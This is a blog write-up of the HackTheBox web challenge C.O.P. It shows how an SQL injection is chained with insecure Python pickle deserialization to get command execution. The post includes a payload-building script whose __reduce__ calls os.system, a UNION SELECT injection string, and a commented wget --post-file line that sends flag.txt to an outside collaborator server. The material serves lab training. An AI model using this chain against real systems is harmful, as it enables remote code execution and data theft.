Pranav Patil
Pranav's Blog


Pranav's Blog

C.O.P  Hackthebox

C.O.P Hackthebox

Pranav Patil's photo
Pranav Patil
·Jan 23, 2023·

4 min read

Hey, everyone welcome to my first blog in the hackthebox series, the first challenge we will start with is C.O.P

After starting the challenge we see the following dashboard

We can just view the products

this is the Url that we visit

There is no other functionality, if we try to view a product that does not exist it gives the following error

Now let's try to view the source code.

Download the source code from HacktheBox and open it in any code editor.

Path: web_cop\challenge\application\

In the above code, we can see that this is the SQL query that is being executed whenever a product ID is given by the user, and there is no validation for this ID. That is, the ID is directly passed as a SQL query.

  1. Let us start Burp and try to intercept the product request

  2. Now let us try for a Basic SQL injection query -1' OR '1'--

    remember to urlencode the payload

Now use this as the input for ID

this still gives 200 Ok which means that the SQL query is executed else it would have given an Internal Server error.

Now have a look at the source code of the application

Here we can see that pickle library is being used, I had no idea so just tried to use chatgpt

  1. The function pickle_loads takes in a single argument s, which is the pickled string representation of an object.

  2. It then uses base64.b64.decode method to decode the pickled string from base64 encoded format.

  3. The decoded pickled string is then passed as an argument to the pickle.loads() method, which deserializes the pickled string representation of an object to the original Python object.

  4. The original Python object is then returned by the function.

Here we can see that there is no proper validation of the input, so let's try insecure deserialization. We came to this conclusion because the pickle load function serialises this now and deserializes it later, and there is no validation for the content.


This code is using the Jinja2 template engine, which is a popular template engine for Python. It is used to generate dynamic HTML pages. This code snippet is used to display a list of products on the website. The code iterates through the products list, which is a list of objects containing information about each product, such as name, price, and image. For each product, it sets a variable item to the data attribute of the product, which is in pickled format, and then uses that variable to display the product's image, name, and price. The code also includes a "View" button that links to a page displaying more information about the product. This is where the data received is displayed.

We can see with parameters = pickle in the file index, the pickle_loads file app function will be called to return the index return result Because here template_filter('pickle') is used. So the idea is to be able to create a dummy Item to load the index.

Using the following script which will create the payload

import sys
import base64
import pickle
import urllib.parse
import requests

class Payload:

  def __reduce__(self):
    import os
    cmd = ("touch abc.txt")
    #cmd = ("wget --post-file flag.txt")
    return os.system, (cmd,)

if __name__ == "__main__":

  payload = base64.b64encode(pickle.dumps(Payload())).decode()

  payload = f"' UNION SELECT '{payload}' -- "

  payload = requests.utils.requote_uri(payload)


The pickle.dump() method is used to serialize the Payload() object, it returns a byte representation of the object

The payload object will be our command that we will try to execute as the pickle.load won't be filtering what command we are giving

The base64.b64 encode method is then used to encode the byte representation of the object in base64 format.

Now this is just a theory so let's try to create a file abc.txt by using command touch and by deploying the site locally using Docker

In the code i am appending UNION SELECT along with the payload so we don't need to add anything to the payload later

Now that we've confirmed that the SQL query is executed with union, we can try to get to flag. Because we know the exact location of the flag, we can set up our burp collaborator and make a wget request from the server by executing a command inside the SQL query for the flag.txt, which will result in an HTTP request to our burp collaborator with flag in its body.

Just comment out the touch command in the script and use the wget command to replace your burp collaborator client value.

The Body of this request will have flag value

This is kind of the basics of reverse shelling. I execute a command on the machine, and it makes a request to our server. Instead, here we are not trying to get a reverse shell, as we can get the flag easily because we know its location from the source

Hope that my Blog was helpful :)

Did you find this article valuable?

Support Pranav Patil by becoming a sponsor. Any amount is appreciated!

Learn more about Hashnode Sponsors
Share this